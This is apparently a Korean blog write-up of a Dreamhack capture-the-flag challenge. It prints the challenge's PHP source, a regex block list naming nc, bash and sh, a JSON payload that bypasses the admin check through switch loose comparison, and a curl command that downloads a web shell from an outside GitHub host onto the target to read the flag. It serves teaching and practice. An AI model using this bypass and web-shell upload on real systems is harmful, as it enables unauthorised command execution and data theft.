Switching Command

mercure·2024년 8월 25일
0

Dreamhack

목록 보기
10/18
post-thumbnail

코드분석

index.php

<?php
// 설정 파일을 포함합니다.
include ("./config.php");
include("./config/db_config.php");

// 빈 메시지 변수를 초기화합니다.
$message = "";

// 요청 메서드가 POST인지 확인합니다.
if ($_SERVER["REQUEST_METHOD"]=="POST"){
    // POST 요청에서 JSON 데이터를 디코딩합니다.
    $data = json_decode($_POST["username"]);

    // JSON 디코딩이 실패했는지 확인합니다.
    if ($data === null) {
        exit("Failed to parse JSON data");
    }
        
    // JSON 데이터에서 사용자 이름을 가져옵니다.
    $username = $data->username;

    // 사용자 이름이 'admin'이면 스크립트를 종료합니다.
    if($username === "admin" ){
        exit("No hack");
    }

    // 사용자 이름에 따라 동작을 결정하는 스위치문
    switch($username){
        // 사용자 이름이 'admin'일 경우
        case "admin":
            $user = "admin";
            $password = "***REDACTED***"; // 실제 비밀번호는 보이지 않도록 처리됨
            // SQL 쿼리를 준비하여 사용자 이름과 비밀번호로 사용자를 조회합니다.
            $stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
            $stmt -> bind_param("ss",$user,$password); // 사용자 이름과 비밀번호를 바인딩
            $stmt -> execute(); // 쿼리 실행
            $result = $stmt -> get_result(); // 결과 가져오기
            if ($result -> num_rows == 1){
                // 사용자가 존재하면 세션에 'admin' 권한을 부여하고 페이지를 이동시킵니다.
                $_SESSION["auth"] = "admin";
                header("Location: test.php");
            } else {
                // 사용자가 존재하지 않으면 메시지를 출력합니다.
                $message = "Something wrong...";
            }
            break;
        default:
            // 'admin'이 아닌 경우, 'guest' 권한을 부여하고 페이지를 이동시킵니다.
            $_SESSION["auth"] = "guest";
            header("Location: test.php");
            
    }
}
?>


<!DOCTYPE html>
<html>
<head>
    <title>Enter Username</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
        }
        .container {
            background-color: #ffffff;
            width: 300px;
            margin: 0 auto;
            padding: 20px;
            border: 1px solid #ccc;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        h2 {
            text-align: center;
        }
        label {
            display: block;
            font-weight: bold;
            margin-bottom: 10px;
        }
        input[type="text"] {
            width: 90%;
            padding: 10px;
            margin-bottom: 15px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }
        input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            border: none;
            padding: 10px 20px;
            border-radius: 3px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #0056b3;
        }
        .message {
            text-align: center;
            color: red;
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h2>Enter Username</h2>
        <form method="POST" action="index.php">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <input type="submit" value="Submit">
            <div class="message"><?php echo $message; ?></div>
        </form>
    </div>
</body>
</html>

test.php

<?php

// 설정 파일을 포함합니다.
include ("./config.php");

// 특정 명령어 패턴을 감지하기 위한 정규 표현식을 정의합니다.
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

// 사용자가 'admin' 권한을 가지고 있는지 확인합니다.
if($_SESSION["auth"] === "admin"){

    // 'cmd' 파라미터로 전달된 명령어를 가져오거나 기본값으로 'ls'를 설정합니다.
    $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
    // 명령어에서 줄바꿈 문자를 제거하여 명령어를 정리합니다.
    $sanitized_command = str_replace("\n","",$command);
    // 명령어가 금지된 패턴과 일치하는지 확인합니다.
    if (preg_match($pattern, $sanitized_command)){
        exit("No hack");
    }
    // 명령어를 실행하고 결과를 저장합니다.
    $resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
else if($_SESSION["auth"]=== "guest") {

    // 'guest' 권한일 경우 기본 명령어를 실행합니다.
    $command = "echo hi guest";
    $result = shell_exec($command);

}
else {
    // 인증되지 않은 사용자는 인증 메시지를 출력합니다.
    $result = "Authentication first";
}
?>


<!DOCTYPE html>
<html>
<head>
    <title>Command Test</title>
</head>
<body>
    <h2>Command Test</h2>
    <?php
    echo "<pre>$result</pre>";
    ?>
</body>
</html>

config.php

<?php
    ini_set('display_errors', 0);
    session_start() 
?>

문제에서는 json 형식으로 username을 받고있다.

테스트 항목

{"username" : "admin"}
output => "no hack"

{"username" : "admin1"}
redirection > test.php
output => "hi guest"

두 가지를 간단하게 코드만 보고 테스트 해본 결과이다.

문제를 해결하기 위해선 test.php에 guest가 아닌 admin으로 접근할 필요가 있어보인다.

if($username === "admin" ){
        exit("No hack");
    }

username 에 admin으로 로그인해야하지만 === 비교이므로 "admin"값을 그대로 사용하는 경우 exit에 걸리고 만다.

하지만 아래의 php switch문 관련 자료를 보면 swtich문은 loose comparison을 사용한다는 점을 확인할 수 있다.

https://www.php.net/manual/en/control-structures.switch.php

{"username":true}

위의 값을 전달해준다면 맨위의 admin switch문에서 ture값으로 판단하여 admin 세션을 가지고 test.php에 접근할 수 있을 것이다.

test.php는 GET을 통해 처리하므로 URL에 ?로 cmd를 넘겨주면 될 것이다.

필터링

$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

blind command injection 상황으로 명령어 실행 결과 또한 반환해주지 않고있다.

따라서 필터링에 안걸리는 curl 명령어와 php이므로 웹쉘을 올릴려고 한다.

cmd=curl {webshellURL} -o shell.php

따라서 서버에서 웹쉘을 업로드 하고 실행해보았으나 웹쉘까지는 떳지만 정상작동이 안되는것을 확인하였다 .

서버는 개인 웹서버를 사용하였다.

하지만 결과는 자꾸 내 웹서버에 명령어를 날리고 내 웹서버의 파일들을 조회하고 있었다.

개발자 도구로 진입하면 url이 개인 웹 서버로 연결되어 내가 가진 웹 서버의 파일들을 조회하는 것을 확인하였다.

따로 깃에서 웹쉘코드를 올리고 raw 형식으로 빌드하였더니 서버의 파일들을 열람할 수 있었다.

cmd=curl -o webshell.php "https://raw.githubusercontent.com/eess22/webshell/main/webshell.php"

명령어를 통해 웹쉘을 업로드하고 웹쉘이 정상작동 되는것을 확인하였다. 이후 /flag를 통해 원하는 값을 탈취할 수 있었다.

profile
하루에 한걸음씩

0개의 댓글

관련 채용 정보